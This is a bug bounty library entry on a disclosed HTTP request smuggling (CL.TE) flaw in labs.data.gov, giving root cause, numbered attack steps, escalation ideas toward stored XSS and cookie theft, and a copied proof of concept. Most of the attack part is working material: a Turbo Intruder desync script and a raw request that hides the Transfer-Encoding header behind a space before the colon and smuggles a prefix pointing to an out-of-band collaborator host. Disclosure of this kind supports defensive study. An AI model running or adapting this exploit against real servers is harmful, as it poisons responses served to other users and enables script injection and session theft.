# HTTP Request Smuggling on https://labs.data.gov

CL.TE request smuggling on labs.data.gov let attacker poison victim responses, reflecting attacker host in scripts/links and enabling XSS and data theft.

- Payout: $750
- Severity: high
- Program: GSA Bounty
- Found by: puppykok
- Disclosed: 2020-05-13
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/726773
- Library page: https://bugbountylibrary.com/r/h1%3A726773
- Tags: area:web domain:web impact:data-leak impact:integrity kind:bounty platform:hackerone sev:high tech:nginx tech:wordpress technique:oob-exfil technique:race-window vuln:request-smuggling

**Target:** labs.data.gov front-end/back-end HTTP parsing (WordPress site behind proxy)
**Root cause:** Front-end honors Transfer-Encoding: chunked while back-end honors Content-Length, causing request desync where the smuggled prefix becomes the start of the next victim's request.
**Steps:**
1. Send a POST with both `Content-Length: 4` and `Transfer-Encoding : chunked` (note space before colon) so front-end treats body as chunked but back-end uses CL.
2. Body: `a2\r\nPOST /hopefully404 HTTP/1.1\r\nHost: <collaborator>\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 15\r\n\r\nx=1\r\n0\r\n`
3. Immediately pipeline 14 normal requests via Turbo Intruder to catch the desynced victim request.
4. Observe victim response redirected to /hopefully404 and containing attacker collaborator host reflected in script/ld+json/link tags.
**How found:** Noticed front-end/back-end disagreement on Transfer-Encoding vs Content-Length; used Turbo Intruder to race a desync request against pipelined requests and confirmed via Burp Collaborator reflections in victim response.
**Exploitation:** Attacker sends desync request then floods follow-up requests; the smuggled prefix prepends to a victim's request, causing their response to be served from attacker-controlled host, reflecting attacker URLs into script src, stylesheet href, and JSON-LD, enabling stored XSS/defacing and potential cookie/header theft.
**Escalation:** Reflected attacker host in script tags and JSON-LD could be leveraged for stored XSS and to steal authenticated cookies/headers if SSO session reachable.
**Insight:** A space before the colon in `Transfer-Encoding : chunked` is often accepted by front-ends but ignored by back-ends, producing CL.TE desync; race the smuggled prefix with rapid pipelined requests to catch a victim response without poisoning real users.

## Proof of concept (copied exactly from the original report)

**Turbo Intruder desync exploit script**

```
import re

def queueRequests(target, wordlists):

    # to use Burp's HTTP stack for upstream proxy rules etc, use engine=Engine.BURP
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=1,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0,
                           engine=Engine.THREADED,
                           )
    engine.start()

    prefix = '''POST /hopefully404 HTTP/1.1
Host: o0p31lhhe946t0sns65oy4vsejkb80.burpcollaborator.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1'''

    chunk_size = hex(len(prefix)).lstrip("0x")
    attack = target.req.replace('0\r\n\r\n', chunk_size+'\r\n'+prefix+'\r\n0\r\n\r\n')
    content_length = re.search('Content-Length: ([\d]+)', attack).group(1)
    attack = attack.replace('Content-Length: '+content_length, 'Content-length: '+str(int(content_length)+len(chunk_size)-3))
    engine.queue(attack)

    for i in range(14):
        engine.queue(target.req)
        time.sleep(0.05)
```

**Raw CL.TE smuggling request with chunked body**

```
POST / HTTP/1.1
Host: labs.data.gov
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding : chunked

a2
POST /hopefully404 HTTP/1.1
Host: o0p31lhhe946t0sns65oy4vsejkb80.burpcollaborator.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0
```

